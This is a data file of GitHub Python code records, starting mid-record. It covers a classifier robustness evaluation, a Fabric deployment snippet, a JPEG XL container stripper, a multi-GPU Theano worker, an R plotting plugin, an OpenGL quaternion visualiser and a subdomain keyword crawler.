#imshow(torchvision.utils.make_grid(images, normalize=True))\n\n        images = fgsm_attack(model, criterion, images, labels, 0).to(device)\n        #imshow(torchvision.utils.make_grid(images, normalize=True))\n\n        with torch.no_grad():\n            logits = model(images.to(device))\n\n        # We can still compute the loss (but not the gradient).\n        loss = criterion(logits, labels.to(device))\n\n        # Compute the accuracy for current batch.\n        acc = (logits.argmax(dim=-1) == labels.to(device)).float().mean()\n\n        # Record the loss and accuracy.\n        test_loss.append(loss.item())\n        test_accs.append(acc)\n        # break\n\n    # The average loss and accuracy for entire testing set is the average of the recorded values.\n    test_loss = sum(test_loss) / len(test_loss)\n    test_acc = sum(test_accs) / len(test_accs)\n\n    # Print the information.\n    print(\n        f\"[ Test | {epoch + 1:03d}/{n_epochs:03d} ] loss = {test_loss:.5f}, acc = {test_acc:.5f}\"\n    )\n\n    # if not testing, save the last epoch\n    if len(test_loader) == 0:\n        torch.save(model.state_dict(), model_path)\n        print(\"saving model at last epoch\")\n\n# %%\n# get reports\nfrom sklearn.metrics import classification_report, accuracy_score, hamming_loss\n\nmodel_best = Net().to(device)\nmodel_best.load_state_dict(torch.load(model_path))\nmodel_best.eval()\n\nlabel_pred = []\nlabel_true = []\n\nwith torch.no_grad():\n    for data, labels in tqdm(test_loader):\n        test_pred = model_best(data.to(device))\n        test_label = np.argmax(test_pred.cpu().data.numpy(), axis=1)\n        if len(test_label) > 1 and len(labels) > 1:\n            label_pred += test_label.squeeze().tolist()\n            label_true += labels.squeeze().tolist()\n        else:\n            label_pred += test_label.tolist()\n            label_true += labels.tolist()\n\n    report = classification_report(\n        label_true, label_pred, labels=[i for i in range(1, 41)], zero_division=0\n    )\n    print(report)\n\n    test_acc = accuracy_score(label_true, label_pred)\n    test_loss = hamming_loss(label_true, label_pred)\n\n    # Print the information.\n    print(f\"loss = {test_loss:.5f}, acc = {test_acc:.5f}\")\n\n    with open(\"\".join(model_path[2:].split(\".\")[:-1]) + \"_report.txt\", \"w\") as f:\n        f.write(report)\n        f.write(f\"\\nacc: {test_acc}\\nloss: {test_loss}\\n\")\n","repo_name":"eeechun/face-detection-and-blurring","sub_path":"adversarial_attack.py","file_name":"adversarial_attack.py","file_ext":"py","file_size_in_byte":7624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"21961235603","text":"from fabric import Connection\n\nhost_list = ('root@demo.seafile.top', 'root@download.seafile.top')\n\nfor host in host_list:\n\n    c = Connection(host)\n\n    result = c.run('uname -s', hide=True)\n    print(\"Ran {0.command!r} on {0.connection.host}, got stdout:\\n{0.stdout}\".format(result))\n\n    result = c.put('lian-test', remote='/opt/')\n    print(\"Uploaded {0.local} to {0.remote}\".format(result))\n","repo_name":"imwhatiam/cheatsheet","sub_path":"docs/python/scripts/fabric_test.py","file_name":"fabric_test.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"}
{"seq_id":"6372906257","text":"#! /usr/bin/env python3\n\n\"\"\"\njxl-strip\n\nStrips the container off of a jxl file, reducing the size and removing any\npotentially sensitive metadata. The original file is overwritten, so make sure\nto have a copy if you are experimenting.\n\nCurrently it is possible for this program to produce invalid JXL files, if the\nthe image is a level 10 image, in which case the container is required. This\nshould be uncommon however, and really only effects CMYK, or gigapixel images.\n\"\"\"\n\nfrom pathlib import Path\nimport argparse\nimport sys\n\n\ndef has_container(bitstream: bytes) -> bool:\n    \"\"\"\n    Determines the image type by sniffing the first few bytes.\n    \"\"\"\n    # Test for raw JXL codestream.\n    if bitstream[:2] == bytes.fromhex(\"FF0A\"):\n        return False\n    # Test for JXL box structure. http://www-internal/2022/18181-2#box-types\n    if bitstream[:12] == bytes.fromhex(\"0000 000C 4A58 4C20 0D0A 870A\"):\n        return True\n    raise ValueError(\"Not a JPEG XL file.\")\n\n\ndef decode_container(bitstream: bytes) -> bytes:\n    \"\"\"\n    Parses the ISOBMFF container, extracts the codestream, and decodes it.\n    JXL container specification: http://www-internal/2022/18181-2\n    \"\"\"\n\n    def parse_box(bitstream: bytes, box_start: int) -> dict:\n        LBox = int.from_bytes(bitstream[box_start : box_start + 4])\n        XLBox = None\n        if 1 < LBox <= 8:\n            raise ValueError(f\"Invalid LBox at byte {box_start}.\")\n        if LBox == 1:\n            XLBox = int.from_bytes(bitstream[box_start + 8 : box_start + 16])\n            if XLBox <= 16:\n                raise ValueError(f\"Invalid XLBox at byte {box_start}.\")\n        if XLBox:\n            header_length = 16\n            box_length = XLBox\n        else:\n            header_length = 8\n            if LBox == 0:\n                box_length = len(bitstream) - box_start\n            else:\n                box_length = LBox\n        return {\n            \"length\": box_length,\n            \"type\": bitstream[box_start + 4 : box_start + 8],\n            \"data\": bitstream[box_start + header_length : box_start + box_length],\n        }\n\n    # Reject files missing required boxes. These two boxes are required to be at\n    # the start and contain no values, so we can manually check there presence.\n    # Signature box. (Redundant as has already been checked.)\n    if bitstream[:12] != bytes.fromhex(\"0000000C 4A584C20 0D0A870A\"):\n        raise ValueError(\"Invalid signature box.\")\n    # File Type box.\n    if bitstream[12:32] != bytes.fromhex(\n        \"00000014 66747970 6A786C20 00000000 6A786C20\"\n    ):\n        raise ValueError(\"Invalid file type box.\")\n\n    partial_codestream = []\n    container_pointer = 32\n    while container_pointer < len(bitstream):\n        box = parse_box(bitstream, container_pointer)\n        container_pointer += box[\"length\"]\n        if box[\"type\"] == b\"jxll\":\n            level = int.from_bytes(box[\"data\"])\n            if level != 5 or level != 10:\n                raise ValueError(\"Unknown level\")\n        elif box[\"type\"] == b\"jxlc\":\n            codestream = box[\"data\"]\n        elif box[\"type\"] == b\"jxlp\":\n            index = int.from_bytes(box[\"data\"][:4])\n            partial_codestream.append([index, box[\"data\"][4:]])\n\n    if partial_codestream:\n        partial_codestream.sort(key=lambda i: i[0])\n        codestream = b\"\".join([i[1] for i in partial_codestream])\n\n    return codestream\n\n\ndef main() -> int:\n    \"\"\"Read file from the command line, and strip its box.\"\"\"\n\n    parser = argparse.ArgumentParser(\n        prog=\"jxl-strip\",\n        description=\"Strips the container from a JPEG XL image\",\n        epilog=\"jxl-strip will strip the container from any jxl images, reducing their size\\nand removing any privacy compromising metadata.\",\n    )\n    parser.add_argument(\n        \"-v\",\n        \"--verbose\",\n        action=\"store_true\",\n        help=\"explain what is happening.\",\n    )\n    parser.add_argument(\n        \"file\", help=\"JXL file to strip, will be overwritten\", type=Path\n    )\n    args = parser.parse_args()\n\n    # Main program logic start.\n    try:\n        with open(args.file, \"rb\") as fp:\n            # has_container will raise a ValueError if not a jxl file, and only\n            # reading the first 12 bytes makes this check fast. If it is a jxl\n            # file, reads the rest of it.\n            bitstream = fp.read(12)\n            container = has_container(bitstream)\n            bitstream = bitstream + fp.read()\n        if container:\n            # There is technically a race condition here as we are reopening the\n            # file, but doing it otherwise is annoying, and it is unlikely that\n            # another tool is manipulating the files at the same time.\n            if args.verbose:\n                print(f\"Striping {args.file}\", file=sys.stderr)\n            with open(args.file, \"wb\") as fp:\n                fp.write(decode_container(bitstream))\n        else:\n            if args.verbose:\n                print(\n                    f\"Skipping {args.file} as it is already stripped\", file=sys.stderr\n                )\n    except FileNotFoundError:\n        print(f\"{args.file} not found\", sys.stderr)\n        return 1\n    except ValueError:\n        print(f\"{args.file} is not a valid JXL file\", sys.stderr)\n        return 1\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n","repo_name":"Fraetor/jxl_decode","sub_path":"src/jxl-strip.py","file_name":"jxl-strip.py","file_ext":"py","file_size_in_byte":5316,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"19"}
{"seq_id":"39932450409","text":"\n\"\"\"\nRun theano functions in parallel on multiple GPUs (data parallelism).\n\nThis file has everything unique to the workers.\n\"\"\"\n\nimport os\nimport pickle\nfrom threading import BrokenBarrierError\n\nfrom .variables import Inputs, Shareds, SynkFunction\nfrom .common import use_gpu\nfrom .common import (PKL_FILE, FUNCTION, GPU_COMM, BROADCAST, REDUCE, ALL_REDUCE,\n                  ALL_GATHER, GATHER, WORKER_OPS, AVG_ALIASES, CPU_COMM, SCATTER)\n\n\nclass Function(SynkFunction):\n\n    rank = None\n    master_rank = None\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self._build_output_subset_shmem(False)\n\n    def __call__(self, sync, g_inputs, gpu_comm):\n        \"\"\"\n        1. Gather the right inputs from mp shared values.\n        2. Execute local theano function on those inputs.\n        3. Send results back to master.\n        \"\"\"\n        my_inputs = self.receive_inputs(g_inputs)\n        output_subset, output_set = self._receive_output_subset()\n        my_results = self._call_theano_function(my_inputs, output_subset)  # (always returns a tuple)\n        self._collect_results(my_results, gpu_comm, output_set)\n\n    def receive_inputs(self, g_inputs):\n        assign_idx = g_inputs.sync.assign_idx[self._ID]\n        my_idx = (assign_idx[self.rank], assign_idx[self.rank + 1])\n        my_inputs = list()\n        for input_ID, scatter in zip(self._input_IDs, self._inputs_scatter):\n            if g_inputs.sync.tags[input_ID] != g_inputs.tags[input_ID]:\n                # then a new shmem has been allocated, need to get it.\n                shape = g_inputs.sync.shapes[input_ID][:]\n                tag_ID = g_inputs.sync.tags[input_ID]\n                g_inputs.alloc_shmem(input_ID, shape, tag_ID, False)\n            shmem = g_inputs.shmems[input_ID]\n            if scatter:\n                my_inputs.append(shmem[my_idx[0]:my_idx[1]])\n            else:\n                my_inputs.append(shmem[:g_inputs.sync.max_idx[input_ID]])\n        return tuple(my_inputs)\n\n    def _receive_output_subset(self):\n        output_set = [i for i, x in enumerate(self._output_subset_shmem) if x]\n        output_subset = None if all(output_set) else output_set\n        return output_subset, output_set\n\n    def _collect_results(self, my_results, gpu_comm, output_set):\n        for idx, r in zip(output_set, my_results):\n            mode = self._collect_modes[idx]\n            op = self._reduce_ops[idx]\n            if mode == \"reduce\":\n                gpu_comm.reduce(r, op=op, root=self.master_rank)\n            elif mode == \"gather\":\n                gpu_comm.all_gather(r)\n            elif mode is not None:\n                raise RuntimeError(\"Unrecognized collect mode in worker function.\")\n\n\ndef unpack_functions(theano_functions, sync_dict, n_fcn):\n    \"\"\"\n    Worker will recover variables in the same order as the master committed\n    them, so they will have the same ID (index).\n    \"\"\"\n    collect_modes_all = sync_dict[\"collect_modes\"]\n    reduce_ops_all = sync_dict[\"reduce_ops\"]\n    inputs_scatter_all = sync_dict[\"inputs_scatter\"]\n    synk_functions = list()\n    g_inputs = Inputs()\n    g_shareds = Shareds()\n    for idx, fcn in enumerate(theano_functions[:n_fcn]):\n        input_IDs = g_inputs.register_func(fcn)\n        g_shareds.register_func(fcn, build_avg_func=False)\n        synk_functions.append(Function(ID=idx,\n                                       theano_function=fcn,\n                                       input_IDs=input_IDs,\n                                       inputs_scatter=inputs_scatter_all[idx],\n                                       collect_modes=collect_modes_all[idx],\n                                       reduce_ops=reduce_ops_all[idx],\n                                       )\n                              )\n    g_shareds.avg_functions = theano_functions[n_fcn:]\n    # g_shareds.unpack_avg_facs()  # (only needed for changing avg_fac later)\n    return synk_functions, g_inputs, g_shareds\n\n\ndef receive_distribution(rank, n_gpu, sync):\n    sync.barriers.distribute.wait()\n    if not sync.distributed.value:\n        return False\n    sync_dict = sync.dict.copy()  # (retrieve it as a normal dict)\n    with open(PKL_FILE, \"rb\") as f:\n        theano_functions = pickle.load(f)  # should be all in one list\n    if sync.barriers.delete_pkl.wait() == 0:\n        os.remove(PKL_FILE)  # leave no trace\n    synk_functions, g_inputs, g_shareds = \\\n        unpack_functions(theano_functions, sync_dict, sync.n_user_fcns.value)\n    g_inputs.build_sync(len(synk_functions), n_gpu, False)\n    g_shareds.build_sync(False)\n    return synk_functions, g_inputs, g_shareds\n\n\ndef do_gpu_comms(sync, g_shareds, gpu_comm, master_rank):\n    shared_IDs = g_shareds.sync.shared_IDs[:sync.n_shared.value]\n    comm_ID = sync.comm_ID.value\n    if comm_ID in [REDUCE, ALL_REDUCE]:\n        op = WORKER_OPS.get(sync.comm_op.value, None)\n        assert op is not None\n        avg = op in AVG_ALIASES\n        op = \"sum\" if avg else op\n    if comm_ID == ALL_GATHER:\n        src = g_shareds.gpuarrays[shared_IDs[0]]\n        dest = g_shareds.gpuarrays[shared_IDs[1]]\n        gpu_comm.all_gather(src, dest)\n    else:\n        for shared_ID in shared_IDs:\n            src = g_shareds.gpuarrays[shared_ID]\n            if comm_ID == BROADCAST:\n                gpu_comm.broadcast(src, root=master_rank)\n            elif comm_ID == REDUCE:\n                gpu_comm.reduce(src, op=op, root=master_rank)\n            elif comm_ID == ALL_REDUCE:\n                gpu_comm.all_reduce(src, op=op, dest=src)\n            elif comm_ID == GATHER:\n                gpu_comm.all_gather(src)\n            else:\n                raise RuntimeError(\"Unrecognized GPU communication \\\n                    type in worker.\")\n        if comm_ID == ALL_REDUCE and avg:\n            for shared_ID in shared_IDs:\n                g_shareds.avg_functions[shared_ID]()\n\n\ndef do_cpu_comms(sync, g_shareds, rank):\n    shared_ID = sync.shared_IDs[0]\n    comm_ID = sync.comm_ID.value\n    if comm_ID == SCATTER:\n        if g_shareds.shmems[shared_ID] is None:\n            g_shareds.alloc_shmem(shared_ID, rank, False)\n        g_shareds.vars[shared_ID].set_value(g_shareds.shmems[shared_ID])\n    else:\n        raise RuntimeError(\"Unrecognized CPU comm type in worker.\")\n\n\ndef error_close(sync):\n    sync.workers_OK.value = False\n    try:\n        sync.barriers.exec_out.wait(1)\n    except BrokenBarrierError:\n        pass\n\n\ndef worker_exec(rank, n_gpu, master_rank, sync):\n    gpu_comm = use_gpu(rank, n_gpu, sync, False)\n    if not gpu_comm:\n        return  # (exit quietly)\n\n    distribution = receive_distribution(rank, n_gpu, sync)\n    if not distribution:\n        return  # (exit quietly)\n    else:\n        synk_functions, g_inputs, g_shareds = distribution\n\n    Function.rank = rank  # endow all functions\n    Function.master_rank = master_rank\n\n    import atexit\n    atexit.register(error_close, sync)\n\n    while True:\n        sync.barriers.exec_in.wait()\n        if sync.quit.value:\n            atexit.unregister(error_close)\n            return  # (exit successfully)\n        if sync.exec_type.value == FUNCTION:\n            synk_functions[sync.func_ID.value](sync, g_inputs, gpu_comm)\n        elif sync.exec_type.value == GPU_COMM:\n            do_gpu_comms(sync, g_shareds, gpu_comm, master_rank)\n        elif sync.exec_type.value == CPU_COMM:\n            do_cpu_comms(sync, g_shareds, rank)\n        else:\n            raise RuntimeError(\"Unrecognized execution type in worker.\")\n        sync.barriers.exec_out.wait()  # Prevent premature shmem overwriting.\n","repo_name":"astooke/Test","sub_path":"synkhronos/synkhronos/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":7553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"27405526769","text":"from plugin import Plugin\n\n# import rpy if you use R\nfrom rpy import *\n\n# name your plugin according to the following notation :\n# (end|iteration)_(optimum|all)_(type)\n# for example : end_optimum_distribution\nclass end_optimum_value_successrate(Plugin):\n\n    def __init__(self,data):\n        # call the plugin basic initializations\n        Plugin.__init__(self,data)\n\n        # set the name of your plugin\n        self.setName(\"end_optimum_value_successrate\",\n        \"Plot the graph of success rates, considering a Test as a success when \\\n        the given precision of the problem is reached.\")\n        \n\n    # necessary method, called when lauching the plugin\n    def process(self):\n        # uncomment this line if you use a R output\n        self.outputInit()\n        \n        # put your plugin code here\n        # the data are in self.data :\n        #   self.data.color\n        #   self.data.optimas\n        #   self.data.pointsIter\n        #   self.data.optimaIter\n        #   ...\n        \n        slist = []\n        slist = [t.succRate*100 for t in self.data.tests]\n        r.plot(slist, type='n', main='Success rate for each test', xlab='Test index', ylab='Rate (%)')\n        r.points(slist, pch = 21, type='h')\n        r.points(slist, pch = 21)\n        r.grid(nx=10, ny=40)\n        \n        # uncomment this line if you use a R output\n        self.outputEnd()\n","repo_name":"BackupTheBerlios/ometah","sub_path":"ometahlab/plugins/end_optimum_value_successrate.py","file_name":"end_optimum_value_successrate.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"28006938050","text":"import subprocess, sys\n\ndef pipInstall(package):\n\tsubprocess.call([sys.executable, \"-m\", \"pip\", \"install\", package])\n\ntry:\n\tfrom freetype import *\nexcept ImportError:\n\tpipInstall(\"freetype-py\")\nfinally:\n\tfrom freetype import *\n\ntry:\n\timport numpy as np\nexcept ImportError:\n\tpipInstall(\"numpy\")\nfinally:\n\timport numpy as np\n\ntry:\n\timport OpenGL.GL as gl\n\timport OpenGL.GLU as glu\n\timport OpenGL.GLUT as glut\nexcept ImportError:\n\t# pip by default fucks this up and installs 32 bit version.\n\t# However I have 64 bit python installed on my machine.\n\t# That is why we use pre-downloaded whl.\n\t# Make sure that the whl matches your python version.\n\t# For 32 bit python use 32 bit whl.\n\tpipInstall(\"PyOpenGL-3.1.6-cp39-cp39-win_amd64.whl\")\n\tpipInstall(\"PyOpenGL_accelerate-3.1.6-cp39-cp39-win_amd64.whl\")\nfinally:\n\timport OpenGL.GL as gl\n\timport OpenGL.GLU as glu\n\timport OpenGL.GLUT as glut\n\nfrom serial_reader_thread import SerialReaderThread, Quat\n\nimport math\n\nvertices= (\n\t(1, -1, -1),\n\t(1, 1, -1),\n\t(-1, 1, -1),\n\t(-1, -1, -1),\n\t(1, -1, 1),\n\t(1, 1, 1),\n\t(-1, -1, 1),\n\t(-1, 1, 1)\n)\n\nedges = (\n\t(0,1),\n\t(0,3),\n\t(0,4),\n\t(2,1),\n\t(2,3),\n\t(2,7),\n\t(6,3),\n\t(6,4),\n\t(6,7),\n\t(5,1),\n\t(5,4),\n\t(5,7)\n)\n\nsurfaces = (\n\t(0,1,2,3),\n\t(3,2,7,6),\n\t(6,7,5,4),\n\t(4,5,1,0),\n\t(1,5,7,2),\n\t(4,0,3,6)\n)\n\ncolors = (\n\t(255/255,0/255 ,0/255),  # red\n\t(255/255,99/255,71/255), # tomato\n\t(178/255,34/255,34/255), # firebrick\n\t(220/255,20/255,60/255), # crimson\n\n\t(0/255  ,128/255,0/255), # green\n\t(50/255 ,205/255,50/255), # lime green\n\t(0/255  ,255/255,127/255), # spring green\n\t(124/255,252/255,0/255), # lawn green\n\n\t(0/255  , 0/255 ,255/255), # blue\n\t(30/255 ,144/255,255/255), # dodger blue\n\t(100/255,149/255,237/255), # corn flower blue\n\t(65/255 ,105/255,225/255), # royal blue\n\n\t(255/255,165/255,0/255), # orange\n\t(255/255,215/255,0/255), # gold\n\t(240/255,230/255,140/255), # khaki\n\t(255/255,140/255,0/255), # dark orange\n\n\t(139/255,0/255,139/255), # magenta\n\t(128/255,0/255,128/255), # purple\n\t(148/255,0/255,211/255), # dark violet\n\t(255/255,20/255,147/255), # deep pink\n\n\t(0/255  ,255/255,255/255), # aqua\n\t(64/255 ,224/255,208/255), # turquoise\n\t(127/255,255/255,212/255), # aqua marine\n\t(0/255  ,206/255,209/255), # dark turquoise\n)\n\nclass Window():\n\tdef __init__(self, width, height, title):\n\t\tself.window = None\n\t\tself.base = 0\n\t\tself.texid = 0\n\n\t\tglut.glutInit(sys.argv)\n\t\tglut.glutInitDisplayMode(glut.GLUT_DOUBLE | glut.GLUT_RGB | glut.GLUT_DEPTH)\n\t\tself.window = glut.glutCreateWindow(title)\n\t\tglut.glutReshapeWindow(width, height)\n\t\tglut.glutDisplayFunc(self.on_display)\n\t\tglut.glutReshapeFunc(self.on_reshape)\n\t\tglut.glutKeyboardFunc(self.on_keyboard)\n\n\t\tgl.glTexEnvf(gl.GL_TEXTURE_ENV, gl.GL_TEXTURE_ENV_MODE, gl.GL_MODULATE)\n\t\t# gl.glEnable(gl.GL_DEPTH_TEST)\n\t\t# gl.glEnable(gl.GL_BLEND)\n\t\tgl.glEnable(gl.GL_COLOR_MATERIAL)\n\t\tgl.glColorMaterial(gl.GL_FRONT_AND_BACK, gl.GL_AMBIENT_AND_DIFFUSE)\n\t\tgl.glBlendFunc(gl.GL_SRC_ALPHA, gl.GL_ONE_MINUS_SRC_ALPHA)\n\t\tgl.glEnable(gl.GL_TEXTURE_2D)\n\n\t\tgl.glShadeModel(gl.GL_SMOOTH)\n\t\tgl.glClearColor(0, 0, 0, 0)\n\t\tgl.glClearDepth(1)\n\t\tgl.glEnable(gl.GL_DEPTH_TEST)\n\t\tgl.glDepthFunc(gl.GL_LEQUAL)\n\t\tgl.glHint(gl.GL_PERSPECTIVE_CORRECTION_HINT, gl.GL_NICEST)\n\n\t\tself.make_font(\"JetBrainsMono-Medium.ttf\", 64)\n\n\t\tself.serial = SerialReaderThread()\n\t\tself.serial.start()\n\n\t\tglut.glutTimerFunc(25, self.timer_event, 1)\n\n\t\tglut.glutMainLoop()\n\n\tdef __del__(self):\n\t\tif self.window is not None:\n\t\t\tglut.glutDestroyWindow(self.window)\n\t\t\tself.window = None\n\t\tself.serial.stopped = True\n\t\tself.serial.join()\n\n\tdef timer_event(self, value):\n\t\tglut.glutPostRedisplay()\n\t\tglut.glutTimerFunc(25, self.timer_event, 1)\n\n\tdef make_font(self, filename, size):\n\t\t# Load font  and check it is monotype\n\t\tface = Face(filename)\n\t\tface.set_char_size( size*64 )\n\t\tif not face.is_fixed_width:\n\t\t\traise 'Font is not monotype'\n\n\t\t# Determine largest glyph size\n\t\twidth, height, ascender, descender = 0, 0, 0, 0\n\t\tfor c in range(32,128):\n\t\t\tface.load_char(chr(c), FT_LOAD_RENDER | FT_LOAD_FORCE_AUTOHINT)\n\t\t\tbitmap\t= face.glyph.bitmap\n\t\t\twidth\t = max( width, bitmap.width )\n\t\t\tascender  = max( ascender, face.glyph.bitmap_top )\n\t\t\tdescender = max( descender, bitmap.rows-face.glyph.bitmap_top )\n\t\theight = ascender+descender\n\n\t\t# Generate texture data\n\t\tZ = np.zeros((height*6, width*16), dtype=np.ubyte)\n\t\tfor j in range(6):\n\t\t\tfor i in range(16):\n\t\t\t\tface.load_char(chr(32+j*16+i), FT_LOAD_RENDER | FT_LOAD_FORCE_AUTOHINT)\n\t\t\t\tbitmap = face.glyph.bitmap\n\t\t\t\tx = i*width  + face.glyph.bitmap_left\n\t\t\t\ty = j*height + ascender - face.glyph.bitmap_top\n\t\t\t\tZ[y:y+bitmap.rows,x:x+bitmap.width].flat = bitmap.buffer\n\n\t\t# Bound texture\n\t\tself.texid = gl.glGenTextures(1)\n\t\tgl.glBindTexture(gl.GL_TEXTURE_2D, self.texid)\n\t\tgl.glTexParameterf(gl.GL_TEXTURE_2D, gl.GL_TEXTURE_MAG_FILTER, gl.GL_LINEAR)\n\t\tgl.glTexParameterf(gl.GL_TEXTURE_2D, gl.GL_TEXTURE_MIN_FILTER, gl.GL_LINEAR)\n\t\tgl.glTexImage2D(gl.GL_TEXTURE_2D, 0, gl.GL_ALPHA, Z.shape[1], Z.shape[0], 0,\n\t\t\t\t\t\tgl.GL_ALPHA, gl.GL_UNSIGNED_BYTE, Z)\n\n\t\t# Generate display lists\n\t\tdx, dy = width/float(Z.shape[1]), height/float(Z.shape[0])\n\t\tself.base = gl.glGenLists(8*16)\n\t\tfor i in range(8*16):\n\t\t\tc = chr(i)\n\t\t\tx = i%16\n\t\t\ty = i//16-2\n\t\t\tgl.glNewList(self.base+i, gl.GL_COMPILE)\n\t\t\tif (c == '\\n'):\n\t\t\t\tgl.glPopMatrix()\n\t\t\t\tgl.glTranslatef( 0, -height, 0)\n\t\t\t\tgl.glPushMatrix()\n\t\t\telif (c == '\\t'):\n\t\t\t\tgl.glTranslatef(4*width, 0, 0)\n\t\t\telif (i >= 32):\n\t\t\t\tgl.glBegin(gl.GL_QUADS)\n\t\t\t\tgl.glTexCoord2f((x  )*dx, (y+1)*dy), gl.glVertex(0,\t -height)\n\t\t\t\tgl.glTexCoord2f((x  )*dx, (y  )*dy), gl.glVertex(0,\t 0 )\n\t\t\t\tgl.glTexCoord2f((x+1)*dx, (y  )*dy), gl.glVertex(width, 0 )\n\t\t\t\tgl.glTexCoord2f((x+1)*dx, (y+1)*dy), gl.glVertex(width, -height)\n\t\t\t\tgl.glEnd()\n\t\t\t\tgl.glTranslatef(width, 0, 0)\n\t\t\tgl.glEndList()\n\n\tdef draw_text(self, text, x, y):\n\t\tgl.glEnable(gl.GL_BLEND)\n\t\tgl.glBindTexture(gl.GL_TEXTURE_2D, self.texid)\n\t\tgl.glColor(1,1,1,1) # white\n\t\tgl.glPushMatrix()\n\t\tgl.glTranslate(x, y, -5)\n\t\tgl.glPushMatrix()\n\t\tgl.glScalef(0.003, 0.003, 0.003)\n\t\tgl.glListBase(self.base)\n\t\tgl.glCallLists([ord(c) for c in text])\n\t\tgl.glPopMatrix()\n\t\tgl.glPopMatrix()\n\t\tgl.glBindTexture(gl.GL_TEXTURE_2D, 0)\n\t\tgl.glDisable(gl.GL_BLEND)\n\n\tdef draw_cube_lines(self):\n\t\tgl.glBegin(gl.GL_LINES)\n\t\tgl.glColor3fv((0.1,0.1,0.1))\n\t\tfor edge in edges:\n\t\t\tfor vertex in edge:\n\t\t\t\tgl.glVertex3iv(vertices[vertex])\n\t\tgl.glEnd()\n\n\tdef draw_cube_surfaces(self):\n\t\tgl.glBegin(gl.GL_QUADS)\n\t\tx = 0\n\t\tfor surface in surfaces:\n\t\t\tfor vertex in surface:\n\t\t\t\tgl.glColor3fv(colors[x])\n\t\t\t\tx+=1\n\t\t\t\tgl.glVertex3fv(vertices[vertex])\n\t\tgl.glEnd()\n\n\tdef on_display(self):\n\t\tgl.glClearColor(0,0,0,0)\n\t\tgl.glClear(gl.GL_COLOR_BUFFER_BIT | gl.GL_DEPTH_BUFFER_BIT)\n\n\t\tgl.glLoadIdentity()\n\t\tgl.glTranslatef(0, 0, -7.0) # zoom out\n\t\tq = self.serial.quat\n\t\tdegrees = 2 * math.acos(q.w) * 180.00/math.pi\n\t\tgl.glRotatef(degrees, -1 * q.nx, q.nz, q.ny)\n\t\tself.draw_cube_lines()\n\t\tself.draw_cube_surfaces()\n\n\t\tgl.glLoadIdentity()\n\t\tself.draw_text(f\"Quat: {q.w:.3f}, {q.nx:.3f}, {q.ny:.3f}, {q.nz:.3f}\", -2, -1.4)\n\t\teuler = self.serial.euler\n\t\tself.draw_text(f\"Roll: {euler.roll:.1f}, Pitch: {euler.pitch:.1f}, Yaw: {euler.yaw:.1f}\", -2, -1.65)\n\n\t\tglut.glutSwapBuffers()\n\n\tdef on_reshape(self, width, height):\n\t\tif height == 0:\n\t\t\theight = 1\n\n\t\taspect_ratio = width/height\n\t\tfield_of_view = 45\n\t\tzNear = 0.1 #closer clipping plane\n\t\tzFar = 100.0 # further clipping plane\n\n\t\tgl.glViewport(0, 0, width, height)\n\t\tgl.glMatrixMode(gl.GL_PROJECTION)\n\t\tgl.glLoadIdentity()\n\t\tglu.gluPerspective(field_of_view, 1.0*aspect_ratio, zNear, zFar)\n\t\tgl.glMatrixMode(gl.GL_MODELVIEW)\n\t\tgl.glLoadIdentity()\n\n\tdef on_keyboard(self, key, x, y):\n\t\tint_key = int.from_bytes(key, \"little\")\n\t\tif int_key == 27: # ESC key\n\t\t\tglut.glutDestroyWindow(self.window)\n\t\t\tself.window = None\n\nif __name__ == '__main__':\n\twindow = Window(800, 600, \"Quat visualization\")","repo_name":"qutefox/SensorFusion","sub_path":"host_software/windows_host/windows_host_with_cube_visualisation.py","file_name":"windows_host_with_cube_visualisation.py","file_ext":"py","file_size_in_byte":7832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"15275657721","text":"import requests\nimport nlptest\nimport testing\nfrom anytree import Node, RenderTree\nfrom bs4 import BeautifulSoup\n\n\nsubdomain_limit = 3\n\n\ndef find_subdomains(url):\n    source = requests.get(url).text\n    soup = BeautifulSoup(source, 'lxml')\n\n    texts = []\n\n    for tag in soup.find_all('a'):\n        link = tag.get('href',None)\n        if link is not None and link.startswith('http') and not link.lower().endswith(('.pdf', '.gif')) and link not in texts:\n            texts.append(link)\n            if len(texts) == subdomain_limit:\n                break\n    return texts\n\n\ndef print_nodes(url):\n    result = \"\"\n\n    array = find_subdomains(url)\n    root = Node(url)\n\n    for i in range(len(array)):\n        first_depth = Node(array[i], parent=root)\n        array2 = find_subdomains(array[i])\n        for j in range(len(array2)):\n            second_depth = Node(array2[j], parent=first_depth)\n\n    for pre, fill, node in RenderTree(root):\n        result += pre + \"\" + node.name + \"\\n\"\n    \n    return result\n\n\ndef find_all_keywords(url):\n\n    result_dict = {}\n    result_text = \"\"\n\n    dict1 = nlptest.find_keywords_for_subdomains(result_dict, url)\n    result_text += \"#\" + url + \":\\n\" + testing.format_text(dict1, 25) + \"\\n\\n\"\n\n    urls = find_subdomains(url)\n\n    for i in range(len(urls)):\n        dict2 = nlptest.find_keywords_for_subdomains(result_dict, urls[i])\n        result_text += \"##\" + urls[i] + \":\\n\" + testing.format_text(dict2, 25) + \"\\n\\n\"\n        urls2 = find_subdomains(urls[i])\n        for j in range(len(urls2)):\n            dict3 = nlptest.find_keywords_for_subdomains(result_dict, urls2[j])\n            result_text += \"###\" + urls2[j] + \":\\n\" + testing.format_text(dict3, 25) + \"\\n\\n\"\n    \n    return result_dict, result_text","repo_name":"enes-telli/YazLab2-Project1","sub_path":"subdomains.py","file_name":"subdomains.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
